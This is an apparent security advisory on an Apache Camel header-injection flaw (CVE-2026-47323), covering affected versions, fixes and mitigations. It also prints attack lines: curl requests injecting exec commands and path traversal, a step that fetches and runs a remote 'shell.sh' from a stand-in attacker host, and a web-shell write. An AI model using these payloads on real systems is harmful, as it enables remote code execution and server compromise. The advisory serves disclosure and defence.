Apache Camel, Message Header Injection, CVE-2026-47323 (Critical) -DC-Jun2026-215

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The vulnerability stems from incomplete header filtering in three Apache Camel components: `CxfRsHeaderFilterStrategy` (camel-cxf-rest), `CxfHeaderFilterStrategy` (camel-cxf-transport), and `KnativeHttpHeaderFilterStrategy` (camel-knative-http). While these strategies filter outbound Camel-internal headers using setOutFilterStartsWith, they fail to configure inbound filtering via setInFilterStartsWith. This allows an unauthenticated attacker to inject special headers (e.g., CamelExecCommandExecutable, CamelFileName) through HTTP requests to CXF-RS (REST) or CXF-SOAP endpoints. When a Camel route forwards such messages to header-driven components like `camel-exec` or camel-file, the injected headers override legitimate configuration values. For instance, an attacker can set `CamelExecCommandExecutable` to a malicious command, and if the route later invokes an exec component, that command executes on the server. Similarly, `CamelFileName` can point to an arbitrary path, leading to file write or overwrite. The pattern mirrors previous issues in camel-undertow (CVE-2025-30177), broader incoming-header filters (CVE-2025-27636, CVE-2025-29891), and non-HTTP strategies (CVE-2026-40453). Affected versions: Apache Camel from 3.18.0 to before 4.14.6, and from 4.15.0 to before 4.18.2. The fix introduces proper inbound filtering, blocking any `Camel` headers from untrusted HTTP inputs. Users on 4.18.x LTS must upgrade to 4.18.2; those on 4.14.x LTS to 4.14.6; all others should move to 4.19.0. Without mitigation, remote code execution or arbitrary file writes become trivial.

DailyCVE Form:

Platform: Apache Camel
Version: 3.18.0 to 4.18.2
Vulnerability: Message header injection
Severity: Critical
date: 2026-05-19

Prediction: Fixed in 4.19.0

What Undercode Say:

Check Camel version from Maven pom.xml or running instance
grep -E 'camel-version|org.apache.camel' pom.xml
Test header injection against a vulnerable CXF endpoint
curl -H "CamelExecCommandExecutable: touch /tmp/pwned" \
-H "CamelFileName: ../../../etc/passwd" \
http://target:8080/cxf/orders
Monitor Camel route logs for unexpected header propagation
grep "Inbound header.Camel" /var/log/camel/application.log
Enumerate all Camel-internal headers (non-exhaustive)
curl -H "CamelFileName: test" -H "CamelExecCommandExecutable: id" \
-H "CamelHttpPath: /evil" -H "CamelSqlQuery: DROP TABLE" \
http://target:8080/cxf/test

Exploit:

  1. Identify a publicly exposed CXF-RS or CXF-SOAP endpoint.
  2. Craft an HTTP request adding one or more `Camel` headers (e.g., CamelExecCommandExecutable: /bin/sh -c "wget attacker/shell.sh | bash").
  3. If the route uses `camel-exec` or `camel-file` after the CXF consumer, the injected header triggers RCE or arbitrary file write.
  4. For file write, set `CamelFileName: ../../webapps/ROOT/shell.jsp` and send a body containing a web shell.

Protection:

  • Upgrade to Camel 4.19.0, 4.18.2, or 4.14.6 immediately.
  • If patching is impossible, manually override `inFilterStartsWith` in custom `HeaderFilterStrategy` to block any header starting with “Camel”.
  • Deploy a WAF rule that rejects HTTP requests containing `Camel[A-Z]` in header names.
  • Review all routes that forward CXF/Knative input to exec, file, sql, or script components.

Impact:

  • Remote code execution: attacker can run arbitrary OS commands on the Camel server.
  • Arbitrary file write: overwrite configuration, deploy backdoors, or poison data.
  • Data exfiltration: combine with other headers (CamelFileName could read sensitive files if a file consumer is triggered).
  • Lateral movement: compromised Camel instance often has access to internal networks and databases.

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Sources:

Reported By: github.com
Extra Source Hub:
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